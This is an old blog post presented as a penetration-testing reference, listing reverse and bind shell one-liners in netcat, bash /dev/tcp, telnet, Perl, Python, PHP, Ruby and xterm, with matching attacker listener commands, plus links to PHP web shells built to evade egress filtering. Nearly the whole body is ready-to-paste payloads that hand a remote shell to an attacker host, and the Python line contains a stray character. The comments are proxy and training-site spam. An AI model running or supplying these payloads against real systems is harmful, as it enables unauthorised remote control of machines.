Friday, January 20, 2012

BIND & BACK CONNECT REFERENCE GUIDE

I previously gave you an introduction into NETCAT and how it can be used to do all kinds of neat things, especially for making connections. I showed you how it can be used to spawn a command shell while making BIND connections as well as while making BACK-CONNECT or REVERSE connections. Now in some cases your netcat attempts will simply fail due to one reason or another and you need to be prepared with a few alternative methods to still get the job done. A good friend of mine recently shared a list he put together from posts and comments scattered across the net. The list was so good I couldn't help but share so others can beneift from this as well. Here are a few alternative methods you can try when your standard connections from your web based shells or netcat just dont seem to be working.

1. NETCAT with GAPING_SECURITY_HOLE enabled:
TARGET: nc 192.168.1.133 8080 -e /bin/bash
ATTACKER: nc -n -vv -l -p 8080

2. NETCAT with GAPING_SECURITY_HOLE disabled:
TARGET: mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

3. Don’t have NETCAT, then try the /dev/tcp socket method
TARGET: /bin/bash -i > /dev/tcp/192.168.1.133/8080 0<&1 2>&1
ATTACKER: nc -n -vv -l -p 8080

4. Don’t have access to NETCAT or  dev/tcp? We can try using a telnet and backpipe to execute commands, like so:
TARGET: mknod backpipe p && telnet 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

5. Telnet – Plan B method using piped connections
TARGET: telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888
ATTACKER: nc -n -vv -l -p 8080
ATTACKER2: nc -n -vv -l -p 8888

6. Using straight BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

7. Inline Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

8. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

9. Inline PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

10. Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

11. Using Xterm (if available)
xterm -display 10.0.0.1:1

12. A few Web Shells that have some cool connection and bypassing features built into them:
·         Priv8-2012 PHP web based shell which can be downloaded from packetstorm: http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/priv8-2012-bypass-shell.txt
o   Might need to review the code for a backdoor near top, be warned!
·         Php-findsock-shell- designed to bypass egres filtering, available here: http://pentestmonkey.net/tools/web-shells/php-findsock-shell
·         Weevely- avoid bind shell/reverse shell via console over HTTP communication channel, available here: http://www.garage4hackers.com/f11/weevely-stealth-tiny-php-backdoor-1002.html
·         WeBaCoo – (One of My Favorites) – uses HTTP communication channel and passes commands through cookie parameter. Need to chain commands though due to the nature of it as you cant change directories, available here: http://packetstormsecurity.org/files/108009/webacoo-0.2.zip
Do you have another method which is not listed here? Please let me know by posting a comment or shooting me a message privately as we would like to build this up to be the best online reference out there.

If these methods don’t help you then I am not sure what will. I hope you find this information useful and I hope for at least one person this makes the difference from a mildly successful pentest to an all-out success! Until next time, Enjoy!

Special shout-out to CHEATSON for helping to put this reference material together in one spot!

2 comments:

  1. If you need a good proxy provide try this guys https://www.grayproxy.com/ coupons
    Cupon "GP50" for 50% discount on Backconnect Proxies all types.
    Cupon "GP25" for 25% discount on Dedicated Private and Shared.

    ReplyDelete
  2. great information, i would like to share some information regarding offensive and defensive security, please visit us at https://infosecaddicts.com/ for more information.

    ReplyDelete